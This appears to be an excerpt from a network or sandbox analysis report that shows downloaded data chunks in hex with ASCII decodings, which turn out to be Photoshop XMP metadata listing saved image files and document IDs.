32 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 
57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 53 65 72 76 69 63 69 6e 67 5c 43 48 4f 53 45 4e 5c 52 6f 75 6e 64 
31 5c 57 69 6e 64 6f 77 73 53 65 72 76 69 63 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 33 31 34 32 34 32 
34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 
Data Ascii: 0\Windows\Servicing\CHOSEN\Round1\WindowsServicing_GettyImages-508342634_1920x1080.jpg s
aved&#xA;2017-03-27T12:08:28-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\Servicing\CHOSEN\
Round1\WindowsServicing_GettyImages-613142424_1920x1080.jpg saved&#

2022-08-11 03:42:55 UTC 2917 IN Data Raw: 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 53 70 72 69 6e 67 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 4d 
61 79 5c 43 48 4f 53 45 4e 5c 52 41 57 53 5c 4d 49 54 2d 53 70 72 69 6e 67 54 56 4d 6f 76 69 65 2d 4d 61 79 5f 47 65 74 
74 79 49 6d 61 67 65 73 2d 31 31 35 38 36 38 31 39 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 
23 78 41 3b 32 30 31 37 2d 30 34 2d 32 34 54 31 30 3a 35 38 3a 33 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 
41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2
d 53 70 72 69 6e 67 54 56 4d 6f 76 69 65 2d 4d 61 79 5f 47 65 74 
Data Ascii: MomentsInTime\SpringEntertainment\May\CHOSEN\RAWS\MIT-SpringTVMovie-May_GettyImages-1158
68190_1920x1080.jpg saved&#xA;2017-04-24T10:58:37-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\A
dobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-SpringTVMovie-May_Get

2022-08-11 03:42:55 UTC 2955 IN Data Raw: 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 32 30 39 37 37 34 36 5f 31 39 32 30 78 31 30 38 30 33 46 32 
36 39 36 30 31 35 42 38 37 39 36 45 31 42 36 38 41 42 35 39 39 35 41 41 38 38 45 32 45 2e 70 73 62 20 73 61 76 65 64 
26 23 78 41 3b 32 30 31 37 2d 30 35 2d 30 35 54 31 31 3a 32 31 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 
20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 6
5 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 
6e 64 6f 77 73 53 65 72 76 69 63 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 32 30 39 37 37 34 36 5f 31 39 3
2 30 78 31 30 38 30 33 46 32 36 39 36 30 31 35 42 38 37 39 36 45 
Data Ascii: g_GettyImages-502097746_1920x10803F2696015B8796E1B68AB5995AA88E2E.psb saved&#xA;2017-05-
05T11:21:03-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecov
er\_WindowsServicing_GettyImages-502097746_1920x10803F2696015B8796E

2022-08-11 03:42:55 UTC 3003 IN Data Raw: 4d 53 2d 4d 69 6b 61 69 6c 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 35 34 37 37 30 33 33 39 5f 31 39 32 
30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 30 37 54 30 38 3a 33 35 3a 34 
31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 
69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 6b 61 69 6c 61 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 
4d 53 2d 4d 69 6b 61 69 6c 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 36 38 35 32 33 39 38 33 5f 31 39 32 30 78 31 3
0 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 30 37 54 30 38 3a 33 38 3a 34 32 2d 30 
37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
Data Ascii: MS-Mikaila_GettyImages-554770339_1920x1080.jpg saved&#xA;2017-06-07T08:35:41-07:00&#x9;File C:\Use
rs\v-lizagh\MS\Windows10\Microsoft\Mikaila\Chosen\Crops\MS-Mikaila_GettyImages-568523983_1920x1080.jpg 
saved&#xA;2017-06-07T08:38:42-07:00&#x9;File C:\Users\

2022-08-11 03:42:55 UTC 3019 IN Data Raw: 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 
53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 54 69 70 73 5c 43 68 6f 73 65 6e 5c 57 69 6e 64 6f 77 73 31 
30 2d 54 69 70 73 5f 70 33 34 33 6d 31 30 39 33 35 31 39 66 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 
64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 33 54 31 39 3a 32 34 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 
65 20 57 69 6e 64 6f 77 73 31 30 2d 54 69 70 73 5f 70 33 34 33 6d 31 30 39 33 35 31 39 66 5f 31 39 32 30 78 31 30 38 
30 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 33 54 31 39 3a 32 37 3a 32 32 2d 30 37 
3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 
Data Ascii: -07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\Tips\Chosen\Windows10-Tips_p343m1
093519f_1920x1080.psd saved&#xA;2017-07-13T19:24:26-07:00&#x9;File Windows10-Tips_p343m1093519f_1920
x1080.psd opened&#xA;2017-07-13T19:27:22-07:00&#x9;File C:\Users\v-

2022-08-11 03:42:55 UTC 3252 IN Data Raw: 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 46 59 31 38 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 30 36 
37 33 33 31 35 5f 31 39 32 30 78 31 30 38 30 31 33 38 32 34 45 45 41 45 41 37 37 43 41 33 30 34 37 37 35 36 33 38 46 
43 36 44 39 33 34 44 30 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 35 31 
3a 30 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 
5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 57 69 6e 
64 6f 77 73 4d 4d 58 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 30 34 31 31 36 33 37 5f 31 39 32 30 78 31 30 38 30 
2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 
Data Ascii: ixerEngagementFY18_GettyImages-160673315_1920x108013824EEAEA77CA304775638FC6D934D0.psb s
aved&#xA;2017-07-26T13:51:04-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\_CHOSEN\Crops
\WindowsMMX_GettyImages-170411637_1920x1080.psd saved&#xA;2017-07-2

Timestamp
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2022-08-11 03:42:55 UTC 3268 IN Data Raw: 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 36 3a 30 38 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 
69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 
6e 61 5c 48 65 61 6c 74 68 79 4c 69 66 65 73 74 79 6c 65 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 48 65 61 6c 74 68 79 
4c 69 66 65 73 74 79 6c 65 2d 4e 6f 74 65 62 6f 6f 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 31 36 30 37 37 37 33 
5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 36 3a 
31 31 3a 31 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 
4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 48 
Data Ascii: #xA;2017-08-29T16:08:50-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Cortana\HealthyLifestyle\Cho
sen\Crops\HealthyLifestyle-Notebook_GettyImages-531607773_1920x1080.psd saved&#xA;2017-08-29T16:11:17-
07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Cortana\H

2022-08-11 03:42:55 UTC 3339 IN Data Raw: 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 
6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 31 35 54 31 33 3a 34 39 
3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 
5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 41 63 71 75 69 73 69 74 69 6f 6e 73 52 65 6d 69 6e 64 65 72 73 
5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 41 63 71 52 65 6d 69 6e 64 65 72 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 
35 32 31 36 32 38 39 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 
39 2d 31 35 54 31 33 3a 35 30 3a 35 31 2d 30 37 3a 30 30 26 23 78 
Data Ascii: :00&#x9;File Lockscreen_1920x1080_Landscape.psd opened&#xA;2017-09-15T13:49:26-07:00&#x9;File C:\U
sers\v-lizagh\MS\Windows10\Cortana\AcquisitionsReminders\Chosen\Crops\AcqReminders_GettyImages-45216
2895_1920x1080.jpg saved&#xA;2017-09-15T13:50:51-07:00&#x

2022-08-11 03:42:55 UTC 3355 IN Data Raw: 36 32 36 32 66 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 
31 30 2d 32 33 54 31 36 3a 32 38 3a 32 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 6
7 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 
2d 42 38 5f 42 65 61 63 68 53 61 72 64 69 6e 69 61 49 74 61 6c 79 5f 70 38 37 31 6d 31 30 30 36 32 36 32 66 5f 31 39 3
2 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 32 33 54 31 36 3a 32 39 3a 
33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 
Data Ascii: 6262f_1920x1080.psd saved&#xA;2017-10-23T16:28:20-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Bi
ngEdgeGrowthImages\Lock2017_Batch8\CHOSEN\Crops\Lock2017-B8_BeachSardiniaItaly_p871m1006262f_1920x10
80.jpg saved&#xA;2017-10-23T16:29:39-07:00&#x9;File C:\Us

2022-08-11 03:42:55 UTC 3414 IN Data Raw: 37 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 44 65 63 5f 47 65 74 74 
79 49 6d 61 67 65 73 2d 36 31 39 33 35 36 34 38 34 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 
78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 33 34 3a 35 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 
3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 5
4 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 44 65 63 32 30 31 37 5c 43 68 6f 73 65 6e 5c 
43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 44 65 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 39 33 
35 36 34 38 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 
Data Ascii: 7\Chosen\Crops\MIT-WinterEntDec_GettyImages-619356484_1920x1080.psd saved&#xA;2017-12-04
T11:34:57-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\Dec2017\Ch
osen\Crops\MIT-WinterEntDec_GettyImages-619356484_1920x1080.jpg sav

2022-08-11 03:42:55 UTC 3566 IN Data Raw: 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 42 6f 
77 6c 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 42 6f 77 6c 5f 47 
65 74 74 79 49 6d 61 67 65 73 2d 36 34 39 34 37 31 31 34 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 
64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 32 3a 33 33 3a 35 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 
65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 
73 49 6e 54 69 6d 65 5c 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 42 6f 77 6c 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c
4d 49 54 2d 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 
Data Ascii: ows10\MomentsInTime\CollegeFootballBowl\CHOSEN\Crops\MIT-CollegeFootballBowl_GettyImages-
649471146_1920x1080.jpg saved&#xA;2017-12-14T12:33:52-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10
\MomentsInTime\CollegeFootballBowl\CHOSEN\Crops\MIT-CollegeFootball

2022-08-11 03:42:55 UTC 3598 IN Data Raw: 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 52 65 77 61 72 64 73 58 62 6f 78 5f 47 65 74 74 79 49 6d 61 67 65 73 
2d 36 30 30 31 34 35 35 38 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 
2d 30 31 2d 32 34 54 31 35 3a 30 33 3a 34 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 
5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 
63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3
b 32 30 31 38 2d 30 31 2d 32 34 54 31 35 3a 32 30 3a 34 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 
55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 
Data Ascii: OSEN\Crops\MSRewardsXbox_GettyImages-600145588_1920x1080.jpg saved&#xA;2018-01-24T15:03:45-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\__Templates\Lockscreen_1920x1080_Landscape.psd saved&#xA;2018
-01-24T15:20:49-08:00&#x9;File C:\Users\v-lizagh\MS\Windo

2022-08-11 03:42:55 UTC 3645 IN Data Raw: 77 6f 72 6b 41 69 64 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 35 33 36 34 30 32 35 34 35 5f 31 39 32 30 78 
31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 31 38 3a 30 34 2d 
30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 
64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 48 6f 6d 65 77 6f 72 6b 41 69 64 5c 43 48 4f 
53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 49 6e 74 6c 5f 48 6f 6d 65 77 6f 72 6b 41 69 64 5f 47 65 74 74 79 49 6d 61 67 
65 73 2d 31 30 38 31 32 39 36 31 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 
31 38 2d 30 32 2d 31 35 54 31 35 3a 31 39 3a 35 30 2d 30 38 3a 30 
Data Ascii: workAid_shutterstock_536402545_1920x1080.jpg saved&#xA;2018-02-15T15:18:04-08:00&#x9;File C:\Users
\v-lizagh\MS\Windows10\MIT-International\HomeworkAid\CHOSEN\Crops\MIT-Intl_HomeworkAid_GettyImages-1
08129618_1920x1080.jpg saved&#xA;2018-02-15T15:19:50-08:0

2022-08-11 03:42:55 UTC 3653 IN Data Raw: 30 35 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 
2d 30 37 54 31 38 3a 34 37 3a 34 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 
6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 
73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 
30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 42 44 42 39 37 46 39 38 46 38 45 42 46 
31 42 32 46 36 35 39 33 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 37 54 31 39 3a 31 
32 3a 35 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 
Data Ascii: 055_1920x1080.jpg saved&#xA;2018-03-07T18:47:40-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\A
dobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_LandscapeD615D5F884BDB97F98
F8EBF1B2F65935.psb saved&#xA;2018-03-07T19:12:59-08:00&#x9;File C:\
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2022-08-11 03:42:55 UTC 3765 IN Data Raw: 72 64 66 3a 6c 69 3e 30 33 34 46 43 35 44 39 38 32 35 46 42 36 32 33 39 33 39 41 31 34 46 33 32 39 31 42 
33 35 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 35 35 30 43 42 35 30 33 36 37 34 45 46 46 32 
39 37 36 43 30 45 39 46 33 38 41 33 37 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 35 35 33 39 4
5 36 34 30 38 42 43 37 46 33 45 45 45 34 42 30 44 33 45 32 42 37 31 41 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 30 33 35 38 32 31 34 35 36 37 45 32 44 32 31 41 39 45 30 41 30 35 42 38 36 41 43 45 37 44 43 34 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 35 41 31 42 37 38 43 44 35 37 31 31 36 33 37 41 42 41 38 39 30 30 
37 45 44 36 42 43 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
Data Ascii: rdf:li>034FC5D9825FB623939A14F3291B35D0</rdf:li> <rdf:li>03550CB503674EFF2976C0E9F38A37C
D</rdf:li> <rdf:li>035539E6408BC7F3EEE4B0D3E2B71A54</rdf:li> <rdf:li>0358214567E2D21A9E0A05B86ACE7DC
4</rdf:li> <rdf:li>035A1B78CD5711637ABA89007ED6BCFB</rdf:li> <rdf:l

2022-08-11 03:42:55 UTC 3853 IN Data Raw: 33 43 31 33 32 32 46 45 43 35 39 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 36 41 43 36 
44 38 43 45 37 44 33 30 34 37 42 42 32 34 33 46 34 34 32 36 35 45 38 44 45 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 30 36 42 38 42 38 30 39 45 41 44 31 44 42 46 32 36 34 42 36 31 39 46 46 32 43 34 41 37 44 43 30 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 36 44 41 44 36 46 46 41 41 32 39 35 31 31 36 42 45 35 36 43 44 
42 39 31 45 36 39 32 31 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 36 44 45 37 41 42 45 39 31 36 
42 42 39 37 34 38 30 34 44 39 39 32 42 30 34 45 35 44 33 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
30 36 45 41 33 30 43 31 39 30 41 30 33 34 46 45 33 37 43 34 41 45 30 46 
Data Ascii: 3C1322FEC596F</rdf:li> <rdf:li>06AC6D8CE7D3047BB243F44265E8DEC6</rdf:li> <rdf:li>06B8B80
9EAD1DBF264B619FF2C4A7DC0</rdf:li> <rdf:li>06DAD6FFAA295116BE56CDB91E692192</rdf:li> <rdf:li>06DE7AB
E916BB974804D992B04E5D36F</rdf:li> <rdf:li>06EA30C190A034FE37C4AE0F

2022-08-11 03:42:55 UTC 3963 IN Data Raw: 37 38 45 39 30 38 39 41 37 43 44 39 45 32 41 37 36 43 39 38 32 34 41 34 45 30 39 46 41 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 31 33 42 41 36 30 44 35 32 34 32 41 45 34 36 45 36 33 36 43 38 31 34 36 33 31 37 36 
44 45 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 33 43 39 44 38 30 33 43 39 31 45 33 41 41 38 46 
37 46 33 36 32 32 35 46 36 31 36 31 45 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 33 43 45 38 31 4
6 32 42 37 42 34 32 30 43 31 32 30 45 35 35 46 36 31 32 36 32 35 37 41 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 31 33 43 45 39 42 46 38 42 45 36 36 34 34 32 30 46 46 39 46 30 38 38 43 44 42 35 45 42 32 36 44 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 33 44 34 31 37 46 38 
Data Ascii: 78E9089A7CD9E2A76C9824A4E09FA</rdf:li> <rdf:li>13BA60D5242AE46E636C81463176DEA7</rdf:li> 
<rdf:li>13C9D803C91E3AA8F7F36225F6161E0E</rdf:li> <rdf:li>13CE81F2B7B420C120E55F6126257AF7</rdf:li> 
<rdf:li>13CE9BF8BE664420FF9F088CDB5EB26D</rdf:li> <rdf:li>13D417F8

2022-08-11 03:42:55 UTC 3979 IN Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 31 36 30 33 43 31 46 42 32 44 46 36 45 36 35 36 45 44 31 31 46 
45 33 30 39 43 33 30 31 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 31 36 42 32 33 43 46 35 38 30 
32 42 35 38 36 31 34 37 46 46 41 37 45 42 37 44 43 35 46 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 3
2 31 36 44 42 36 36 39 41 38 41 38 46 38 37 42 33 38 37 35 32 43 35 38 38 31 37 45 35 32 33 43 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 32 31 36 45 36 31 41 33 44 31 32 43 41 33 42 33 36 43 34 45 31 43 32 36 44 38 32 34 42 
32 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 31 38 30 35 36 44 44 33 36 41 33 34 44 38 43 39 35 
42 44 34 37 39 46 36 35 30 38 36 45 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: :li> <rdf:li>21603C1FB2DF6E656ED11FE309C301D4</rdf:li> <rdf:li>216B23CF5802B586147FFA7EB
7DC5FCA</rdf:li> <rdf:li>216DB669A8A8F87B38752C58817E523C</rdf:li> <rdf:li>216E61A3D12CA3B36C4E1C26D
824B28C</rdf:li> <rdf:li>218056DD36A34D8C95BD479F65086EA5</rdf:li> 

2022-08-11 03:42:55 UTC 4079 IN Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 45 37 38 43 36 45 42 30 30 32 33 38 39 37 36 39 33 45 32 30 35 30 
39 44 33 45 44 46 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 46 41 35 44 31 37 36 32 44 38 31 
33 42 39 41 46 31 41 30 32 39 36 46 42 39 44 37 34 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 4
6 43 35 43 34 35 32 43 34 37 44 45 31 42 36 44 32 43 33 43 44 39 39 43 32 36 41 37 36 39 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 32 38 30 34 34 33 37 31 43 36 46 43 33 44 43 33 39 43 43 41 35 43 39 31 36 35 33 34 32 41 
35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 30 37 43 41 30 37 34 36 36 41 44 37 35 30 33 37 31 
37 31 43 38 46 41 36 37 42 33 37 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
Data Ascii: i> <rdf:li>27E78C6EB0023897693E20509D3EDF9A</rdf:li> <rdf:li>27FA5D1762D813B9AF1A0296FB9
D7413</rdf:li> <rdf:li>27FC5C452C47DE1B6D2C3CD99C26A769</rdf:li> <rdf:li>28044371C6FC3DC39CCA5C91653
42A5B</rdf:li> <rdf:li>2807CA07466AD75037171C8FA67B378C</rdf:li> <r

2022-08-11 03:42:55 UTC 4118 IN Data Raw: 64 66 3a 6c 69 3e 33 33 43 46 37 35 43 39 31 31 33 38 42 36 43 37 31 41 39 33 46 46 44 39 32 45 37 45 31 
32 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 44 46 42 42 46 36 34 31 38 35 46 37 37 31 41 36 
31 33 30 31 35 30 43 44 34 43 42 35 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 45 30 33 46 34 3
5 37 32 43 46 30 42 44 46 36 31 39 38 36 36 30 44 35 35 32 41 38 44 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
